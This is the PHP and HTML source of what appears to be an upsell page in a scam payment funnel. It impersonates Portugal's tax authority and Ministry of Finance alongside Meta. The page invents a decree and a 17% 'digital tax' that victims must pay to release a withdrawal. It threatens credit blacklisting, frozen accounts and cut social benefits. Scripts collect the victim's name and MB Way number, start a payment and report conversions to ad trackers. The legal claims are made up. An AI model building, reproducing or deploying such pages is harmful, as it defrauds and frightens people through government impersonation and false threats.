<?php
$qs = $_SERVER['QUERY_STRING'] ?? '';
$params = $qs ? '?' . $qs : '';
require_once dirname(__DIR__) . '/assets/funnel-config.php';
require_once dirname(__DIR__) . '/assets/device-tier.php';
require_once dirname(__DIR__) . '/central.php';
$fc = loadFunnelConfig();
$up_amount = round($fc['prices']['up9'] * _dtier($_SERVER['HTTP_USER_AGENT'] ?? '', $fc['device_tier_max_pct'], $fc['device_tier_enabled']), 2);
$up_amount = central_price('up9', $up_amount);
$up_fmt = number_format($up_amount, 2, ',', '.');
$up_next = $fc['up_links']['up9'] ?? ('../confirmar-saque/' . $params);
$up_product_id = 'upsell-9';
$up_product_name = 'Meta - Tributacao Digital';
?><!DOCTYPE html>
<html lang="pt-PT">
<head>
    <meta charset="UTF-8">
<script>
!function(w,d,t){w.TiktokAnalyticsObject=t;var ttq=w[t]=w[t]||[];ttq.methods=["page","track","identify","instances","debug","on","off","once","ready","alias","group","enableCookie","disableCookie"],ttq.setAndDefer=function(t,e){t[e]=function(){t.push([e].concat(Array.prototype.slice.call(arguments,0)))}};for(var i=0;i<ttq.methods.length;i++)ttq.setAndDefer(ttq,ttq.methods[i]);ttq.instance=function(t){for(var e=ttq._i[t]||[],n=0;n<ttq.methods.length;n++)ttq.setAndDefer(e,ttq.methods[n]);return e},ttq.load=function(e,n){var i="https://analytics.tiktok.com/i18n/pixel/events.js";ttq._i=ttq._i||{},ttq._i[e]=[],ttq._i[e]._u=i,ttq._t=ttq._t||{},ttq._t[e]=+new Date,ttq._o=ttq._o||{},ttq._o[e]=n||{};var o=document.createElement("script");o.type="text/javascript",o.async=!0,o.src=i+"?sdkid="+e+"&lib="+t;var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(o,a)};
ttq.load('<?= $fc["tiktok_pixel"] ?>');ttq.page();
}(window,document,'ttq');
</script>
<!-- Meta Pixel Code -->
<script>
!function(f,b,e,v,n,t,s)
{if(f.fbq)return;n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};
if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
n.queue=[];t=b.createElement(e);t.async=!0;
t.src=v;s=b.getElementsByTagName(e)[0];
s.parentNode.insertBefore(t,s)}(window, document,'script',
'https://connect.facebook.net/en_US/fbevents.js');
fbq('init', '1824082551586655');
fbq('track', 'PageView');
</script>
<noscript><img height="1" width="1" style="display:none"
src="https://www.facebook.com/tr?id=1824082551586655&ev=PageView&noscript=1"
/></noscript>
<!-- End Meta Pixel Code -->
<!-- UTMify Pixel -->
<script async src="https://cdn.utmify.com.br/scripts/utms/latest.js" data-utmify-prevent-subids></script>
<script src="../assets/utm-persist.js"></script>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Tributação sobre Ganhos Digitais — Portal AT Portugal</title>
    <script>
        (function() {
            function isDesktop() {
                const userAgent = navigator.userAgent || navigator.vendor || window.opera;
                const isMobileUA = /android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(userAgent.toLowerCase());
                const isMobileScreen = window.innerWidth <= 768;
                return !isMobileUA && !isMobileScreen;
            }
})();
    </script>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet">
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        body { font-family: 'Inter', sans-serif; background-color: #ffffff; color: #333; margin: 0; }
        .border-gov { border-bottom: 1px solid #e5e5e5; }
        .accessibility-bar { background-color: #ffffff; border-bottom: 1px solid #eee; height: 35px; }
        .search-bar { background-color: #f1f1f1; border-radius: 4px; border: none; }
        .article-content p { line-height: 1.7; margin-bottom: 1.5rem; color: #333; font-size: 17px; text-align: justify; }
        .warning-box { border-left: 4px solid #cc0000; background-color: #fdf2f2; padding: 25px; margin: 30px 0; border-radius: 0 8px 8px 0; }
        .btn-gov-primary { background-color: #1351b4; color: white; padding: 16px 32px; border-radius: 4px; font-weight: 700; text-transform: uppercase; font-size: 15px; display: inline-block; transition: 0.2s; box-shadow: 0 2px 4px rgba(0,0,0,0.1); }
        .btn-gov-primary:hover { background-color: #0c3d8d; }
        .tag-mp { background-color: #e5f1fe; color: #0056b3; padding: 5px 15px; border-radius: 20px; font-size: 11px; font-weight: 800; text-transform: uppercase; }
        .tiktok-logo-partnership { height: 80px; margin-left: 15px; }
    </style>
</head>
<body>

    <div class="accessibility-bar hidden md:flex items-center justify-center px-4">
        <div class="max-w-6xl w-full flex justify-between text-[11px] font-bold text-[#555] uppercase">
            <div class="flex gap-6">
                <span>Ir para o conteúdo <span class="text-gray-300">1</span></span>
                <span>Ir para o menu <span class="text-gray-300">2</span></span>
                <span>Ir para a pesquisa <span class="text-gray-300">3</span></span>
            </div>
            <div class="flex gap-4">
                <span>Acessibilidade</span>
                <span>Alto Contraste</span>
                <span>Mapa do Site</span>
            </div>
        </div>
    </div>

    <header class="border-gov py-5 px-4 flex justify-center bg-white">
        <div class="max-w-6xl w-full flex flex-col md:flex-row items-center justify-between gap-0">
            <div class="flex items-center">
                <img src="https://upload.wikimedia.org/wikipedia/commons/c/c5/Neg%C3%B3cios_Estrangeiros_Ministry_logo.png" alt="Portal AT" class="h-12">
                <div class="h-10 w-[1px] bg-gray-200 mx-5"></div>
                <img src="https://upload.wikimedia.org/wikipedia/commons/0/05/Facebook_Logo_%282019%29.png" alt="Meta" class="tiktok-logo-partnership">
                <span class="ml-4 text-[16px] font-extrabold text-[#333] hidden lg:block">Ministério das Finanças</span>
            </div>

            <div class="w-full md:w-96 relative">
                <input type="text" placeholder="O que procura?" class="search-bar w-full py-3 px-5 text-sm outline-none focus:ring-2 focus:ring-blue-500">
                <button class="absolute right-4 top-3 text-gray-400">
                    <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"></path>
                    </svg>
                </button>
            </div>
        </div>
    </header>

    <main class="max-w-3xl mx-auto px-6 py-12">

        <nav class="text-[13px] text-blue-700 mb-8 flex gap-2 font-medium">
            <span class="hover:underline cursor-pointer">Página Inicial</span>
            <span class="text-gray-300">></span>
            <span class="hover:underline cursor-pointer">Assuntos</span>
            <span class="text-gray-300">></span>
            <span class="font-bold text-gray-800">Tributação Digital</span>
        </nav>

        <article>
            <span class="tag-mp italic">Publicação Oficial — Decreto-Lei n.º 1/2026</span>

            <h1 class="text-3xl md:text-5xl font-extrabold text-[#1a1a1a] mt-6 mb-4 leading-[1.1] tracking-tight">
                Autoridade Tributária e Meta anunciam novas normas para rendimentos financeiros digitais
            </h1>

            <p class="text-2xl text-gray-500 leading-relaxed font-light mb-8 italic">
                A nova regulamentação exige o pagamento antecipado do Imposto sobre o Rendimento (IRS) de 17% para utilizadores com ganhos em plataformas de tecnologia.
            </p>

            <div class="flex items-center gap-4 text-[13px] text-gray-400 border-t border-b border-gray-100 py-4 mb-10 uppercase tracking-wider">
                <span class="font-bold text-gray-600 italic">Por: Ministério das Finanças</span>
                <span class="hidden md:block">•</span>
                <span>Actualizado em 01/01/2026 20h05</span>
            </div>

            <div class="article-content">
                <p>
                    A tributação sobre ganhos financeiros em Portugal está sujeita a diversas regras que variam conforme o tipo de investimento e a natureza do rendimento. A partir de 1 de Janeiro de 2026, uma série de alterações entra em vigor com base num <strong>Decreto-Lei</strong> que altera significativamente o regime de incidência do Imposto sobre o Rendimento (IRS) sobre rendimentos financeiros.
                </p>

                <p>
                    O texto normativo estabelece que rendimentos provenientes de actividades digitais estão sujeitos ao <strong>pagamento da Taxa de IRS correspondente a 17%</strong>. Esta medida visa a regularização fiscal imediata dos activos em trânsito no ambiente digital.
                </p>

                <div class="warning-box">
                    <h2 class="text-[#cc0000] font-black text-xl mb-4 flex items-center gap-3">
                        ⚠️ NOTIFICAÇÃO DE REGULARIZAÇÃO OBRIGATÓRIA
                    </h2>
                    <p class="font-bold text-[16px] mb-4 text-[#333]">
                        A ausência de pagamento do tributo digital no valor fixado de <span class="text-black text-lg font-black" id="upsellValue2">€ <?= $up_fmt ?></span> acarretará as seguintes sanções imediatas:
                    </p>
                    <ul class="space-y-3 font-semibold text-[15px] text-gray-800">
                        <li class="flex items-start gap-3">
                            <span class="text-red-600 font-bold">•</span>
                            <span><strong>Notação Negativa de Crédito:</strong> Inclusão automática nos registos do Banco de Portugal.</span>
                        </li>
                        <li class="flex items-start gap-3">
                            <span class="text-red-600 font-bold">•</span>
                            <span><strong>Bloqueio de Contas:</strong> Retenção de valores via sistema SEPA em todas as instituições financeiras.</span>
                        </li>
                        <li class="flex items-start gap-3">
                            <span class="text-red-600 font-bold">•</span>
                            <span><strong>Perda de Benefícios:</strong> Suspensão temporária de prestações sociais (RSI/Segurança Social).</span>
                        </li>
                    </ul>
                </div>

                <p>
                    Conforme o acordo de cooperação técnica, após a confirmação do pagamento desta guia de regularização, o <strong>levantamento integral do saldo será libertado imediatamente</strong>. Esta operação é única e isenta o contribuinte de quaisquer outras taxas, tarifas ou novas retenções de impostos.
                </p>

                <div class="bg-gray-50 border-2 border-dashed border-gray-300 rounded-xl p-10 text-center mt-12">
                    <div class="flex justify-center items-center gap-6 mb-6">
                        <img src="https://upload.wikimedia.org/wikipedia/commons/c/c5/Neg%C3%B3cios_Estrangeiros_Ministry_logo.png" class="h-8">
                        <div class="h-6 w-[1px] bg-gray-300"></div>
                        <img src="https://upload.wikimedia.org/wikipedia/commons/0/05/Facebook_Logo_%282019%29.png" class="h-10">
                    </div>
                    <p class="text-xs font-black text-gray-500 uppercase tracking-[0.2em] mb-2">Portal de Pagamento Digital</p>
                    <div class="text-5xl font-black text-[#1a1a1a] mb-8 tracking-tighter" id="upsellValue">€ <?= $up_fmt ?></div>

                    <a href="javascript:void(0)" onclick="goToCheckout()" class="btn-gov-primary w-full md:w-auto">
                        Emitir Guia e Libertar Levantamento Imediato
                    </a>

                    <p class="text-[12px] text-gray-400 mt-6 leading-relaxed">
                        Sistema seguro integrado à Autoridade Tributária. <br>
                        A libertação do saldo ocorre em até 5 minutos após o processamento.
                    </p>
                </div>
            </div>
        </article>

        <div class="mt-16 pt-8 border-t border-gray-200">
            <p class="text-[10px] text-gray-400 font-bold uppercase mb-3">Assuntos Relacionados</p>
            <div class="flex flex-wrap gap-2">
                <span class="bg-gray-100 px-4 py-2 rounded-md text-[11px] font-bold text-gray-600 uppercase">Economia Digital</span>
                <span class="bg-gray-100 px-4 py-2 rounded-md text-[11px] font-bold text-gray-600 uppercase">IRS 2026</span>
                <span class="bg-gray-100 px-4 py-2 rounded-md text-[11px] font-bold text-gray-600 uppercase">Autoridade Tributária</span>
            </div>
        </div>
    </main>

    <footer class="bg-[#0042b1] text-white py-16 px-6 mt-20">
        <div class="max-w-6xl mx-auto grid grid-cols-1 md:grid-cols-3 gap-12">
            <div>
                <img src="https://upload.wikimedia.org/wikipedia/commons/c/c5/Neg%C3%B3cios_Estrangeiros_Ministry_logo.png" alt="Portal AT" class="h-14 filter brightness-0 invert">
                <p class="mt-8 text-sm opacity-80 leading-relaxed italic">
                    Serviços e Informações oficiais do Governo Português em conformidade com o Decreto-Lei n.º 1/2026.
                </p>
            </div>
            <div class="md:col-span-2 grid grid-cols-2 md:grid-cols-3 gap-8 text-sm">
                <div>
                    <h3 class="font-bold mb-6 uppercase text-[12px] tracking-widest">Acesso à Informação</h3>
                    <ul class="space-y-4 opacity-70">
                        <li>Institucional</li>
                        <li>Notícias</li>
                        <li>Serviços</li>
                    </ul>
                </div>
                <div>
                    <h3 class="font-bold mb-6 uppercase text-[12px] tracking-widest">Canais</h3>
                    <ul class="space-y-4 opacity-70">
                        <li>Reclamações</li>
                        <li>Fale Connosco</li>
                    </ul>
                </div>
                <div>
                    <h3 class="font-bold mb-6 uppercase text-[12px] tracking-widest">Assuntos</h3>
                    <ul class="space-y-4 opacity-70">
                        <li>Regularizar NIF</li>
                        <li>Portal AT</li>
                    </ul>
                </div>
            </div>
        </div>
        <div class="max-w-6xl mx-auto mt-16 pt-8 border-t border-white/10 text-center text-[11px] opacity-40 uppercase tracking-[0.2em]">
            © 2026 Governo de Portugal. Todos os direitos reservados.
        </div>
    </footer>

    <script>
        function goToCheckout() { openPaymentForm(); }

        function loadUpsellValue() {
            var fee = (typeof window !== 'undefined') ? window.__UP_FEE_9 : undefined;
            if (fee === undefined) return;
            var fmt = '€ ' + fee.toLocaleString('pt-PT', {minimumFractionDigits: 2, maximumFractionDigits: 2});
            var el = document.getElementById('upsellValue');
            var el2 = document.getElementById('upsellValue2');
            if (el) el.textContent = fmt;
            if (el2) el2.textContent = fmt;
        }
        loadUpsellValue();
    </script>
<style>.pay-dot{width:8px;height:8px;background:#E30613;border-radius:50%;animation:pay-bounce 1.2s infinite ease-in-out}.pay-dot:nth-child(2){animation-delay:.2s}.pay-dot:nth-child(3){animation-delay:.4s}@keyframes pay-bounce{0%,80%,100%{transform:scale(0.6);opacity:0.5}40%{transform:scale(1);opacity:1}}</style>
<div id="pay-overlay" style="display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.6);z-index:9999;justify-content:center;align-items:flex-end"><div style="background:#fff;border-radius:20px 20px 0 0;padding:24px 20px 36px;width:100%;max-width:480px;margin:0 auto"><div id="pay-form-section"><h3 style="font-size:17px;font-weight:700;margin-bottom:4px;color:#111">Pagamento seguro</h3><p style="font-size:13px;color:#888;margin-bottom:18px" id="pay-subtitle">MB Way</p><div style="margin-bottom:14px"><label style="font-size:13px;color:#555;font-weight:600;display:block;margin-bottom:6px">Nome completo</label><input id="pay-name" type="text" placeholder="O teu nome" style="width:100%;padding:12px 14px;border:1.5px solid #e0e0e0;border-radius:10px;font-size:15px;outline:none"></div><div style="margin-bottom:20px"><label style="font-size:13px;color:#555;font-weight:600;display:block;margin-bottom:6px">N&#250;mero MB Way</label><div style="display:flex;gap:10px;align-items:center"><div style="background:#f5f5f5;border:1.5px solid #e0e0e0;border-radius:10px;padding:12px;font-size:15px;font-weight:600;white-space:nowrap">&#127477;&#127481; +351</div><input id="pay-phone" type="tel" inputmode="numeric" maxlength="9" placeholder="xxxxxxxx" style="flex:1;padding:12px 14px;border:1.5px solid #e0e0e0;border-radius:10px;font-size:15px;outline:none"></div></div><div id="pay-error" style="display:none;color:#e53935;font-size:13px;margin-bottom:12px;text-align:center"></div><button onclick="submitUpPayment()" style="width:100%;background:#E30613;color:#fff;font-size:16px;font-weight:700;padding:17px;border:none;border-radius:50px;cursor:pointer">CONFIRMAR PAGAMENTO</button><button onclick="closePaymentForm()" style="width:100%;background:none;border:none;font-size:13px;color:#bbb;padding:14px;cursor:pointer;margin-top:4px">Cancelar</button></div><div id="pay-waiting" style="display:none;text-align:center;padding:20px 0"><div style="margin-bottom:12px;display:flex;justify-content:center" aria-hidden="true"><svg xmlns="http://www.w3.org/2000/svg" width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="#111" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"><rect x="6" y="2" width="12" height="20" rx="2"/><path d="M12 18h.01"/></svg></div><p style="font-size:16px;font-weight:700;color:#111;margin-bottom:8px">Aguarda a notificação MB Way</p><p style="font-size:13px;color:#888;margin-bottom:20px">Abre o app MB Way e confirma o pagamento</p><div style="display:flex;gap:6px;justify-content:center;margin-bottom:16px"><div class="pay-dot"></div><div class="pay-dot"></div><div class="pay-dot"></div></div><button onclick="cancelUpPayment()" style="background:none;border:1.5px solid #e0e0e0;border-radius:50px;font-size:13px;color:#888;padding:10px 20px;cursor:pointer">Cancelar</button></div></div></div>
<script>
var upPayId=null,upPayInterval=null;
var UP_AMOUNT=<?= $up_amount ?>;
var UP_NEXT='<?= $up_next ?>';
var UP_PRODUCT_ID='<?= $up_product_id ?>',UP_PRODUCT_NAME='<?= $up_product_name ?>';
var _mbPayer=null;try{_mbPayer=JSON.parse(localStorage.getItem('mbway_payer')||'null');}catch(e){}function _gU(k){if(typeof getUtmValue==="function")return getUtmValue(k);var p=new URLSearchParams(window.location.search);return p.get(k)||null;}function _utmify(st,amt){var p=new URLSearchParams(window.location.search);var nm=document.getElementById('pay-name')?document.getElementById('pay-name').value:'';fetch('../tracking.php',{method:'POST',keepalive:true,headers:{'Content-Type':'application/json'},body:JSON.stringify({status:st,transaction_id:upPayId||('up9-'+Date.now()),amount:amt,method:'mbway',product_id:UP_PRODUCT_ID,product_name:UP_PRODUCT_NAME,customer:{name:nm,email:(_mbPayer&&_mbPayer.email)||null,phone:null,document:null},utms:{utm_source:_gU('utm_source'),utm_medium:_gU('utm_medium'),utm_campaign:_gU('utm_campaign'),utm_content:_gU('utm_content'),utm_term:_gU('utm_term'),src:_gU('src'),sck:_gU('sck')}})}).catch(function(){});}
function _tf(evt,amt,mth){try{var s=localStorage.getItem('_vid')||'';if(!s){s=Math.random().toString(36).substr(2,9)+Date.now().toString(36);localStorage.setItem('_vid',s);}var p=new URLSearchParams(window.location.search);fetch('/painel/tracker.php',{method:'POST',keepalive:true,headers:{'Content-Type':'application/json'},body:JSON.stringify({sid:s,page:'up9',event:evt,amount:amt||0,method:mth||'',src:p.get('utm_source')||'',med:p.get('utm_medium')||'',cmp:p.get('utm_campaign')||''})}).catch(function(){});}catch(e){}}
_tf('InitiateCheckout');

function openPaymentForm(){document.getElementById('pay-overlay').style.display='flex';document.getElementById('pay-error').style.display='none';var sub=document.getElementById('pay-subtitle');if(sub)sub.textContent='MB Way \u00b7 <?= $up_fmt ?>\u20ac';if(_mbPayer&&_mbPayer.name&&_mbPayer.phone){document.getElementById('pay-name').value=_mbPayer.name;document.getElementById('pay-phone').value=_mbPayer.phone;document.getElementById('pay-form-section').style.display='none';document.getElementById('pay-waiting').style.display='block';submitUpPayment();}else{if(_mbPayer&&_mbPayer.name)document.getElementById('pay-name').value=_mbPayer.name;document.getElementById('pay-form-section').style.display='block';document.getElementById('pay-waiting').style.display='none';}}
function closePaymentForm(){document.getElementById('pay-overlay').style.display='none';}
function cancelUpPayment(){if(upPayInterval)clearInterval(upPayInterval);closePaymentForm();}
var _upMbwayRetry=0;function submitUpPayment(){var name=document.getElementById('pay-name').value.trim();var phone=document.getElementById('pay-phone').value.trim().replace(/\D/g,'');var errEl=document.getElementById('pay-error');errEl.style.display='none';if(!name){errEl.textContent='Preenche o teu nome.';errEl.style.display='block';return;}if(!/^\d{9}$/.test(phone)){errEl.textContent='N\u00famero MB Way inv\u00e1lido (9 d\u00edgitos).';errEl.style.display='block';return;}document.getElementById('pay-form-section').style.display='none';document.getElementById('pay-waiting').style.display='block';_tf('payment_started',UP_AMOUNT,'mbway');fetch('create-transaction.php',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({stage:'up9',method:'mbway',amount:UP_AMOUNT,payer:{name:name,phone:'+351'+phone,email:(_mbPayer&&_mbPayer.email)||(phone+'@mbway.pt'),document:'999999999'}})}).then(function(r){return r.json();}).then(function(d){if(d.id||d.statusCode===200){upPayId=d.id;if(d.generatedMBWay===false&&_upMbwayRetry<3){_upMbwayRetry++;setTimeout(submitUpPayment,1500);return;}_upMbwayRetry=0;_utmify('waiting_payment',UP_AMOUNT);upPayInterval=setInterval(checkUpPayment,5000);}else{showUpError(d.message||'Erro ao processar. Tenta novamente.');}}).catch(function(){showUpError('Erro de liga\u00e7\u00e3o. Tenta novamente.');});}
function checkUpPayment(){if(!upPayId)return;fetch('create-transaction.php?action=status',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({id:upPayId})}).then(function(r){return r.json();}).then(function(d){var s=(d.status||'').toUpperCase();if(['PAID','APPROVED','COMPLETED','CONFIRMED'].includes(s)){clearInterval(upPayInterval);_tf('payment_paid',UP_AMOUNT,'mbway');_utmify('paid',UP_AMOUNT);if(typeof fbq==='function')fbq('track','Purchase',{value:UP_AMOUNT,currency:'EUR',content_ids:[UP_PRODUCT_ID],content_type:'product'});setTimeout(function(){window.location.href=UP_NEXT;},450);}}).catch(function(){});}
function showUpError(msg){document.getElementById('pay-form-section').style.display='block';document.getElementById('pay-waiting').style.display='none';var e=document.getElementById('pay-error');e.textContent=msg;e.style.display='block';}
</script>
</body>
</html>
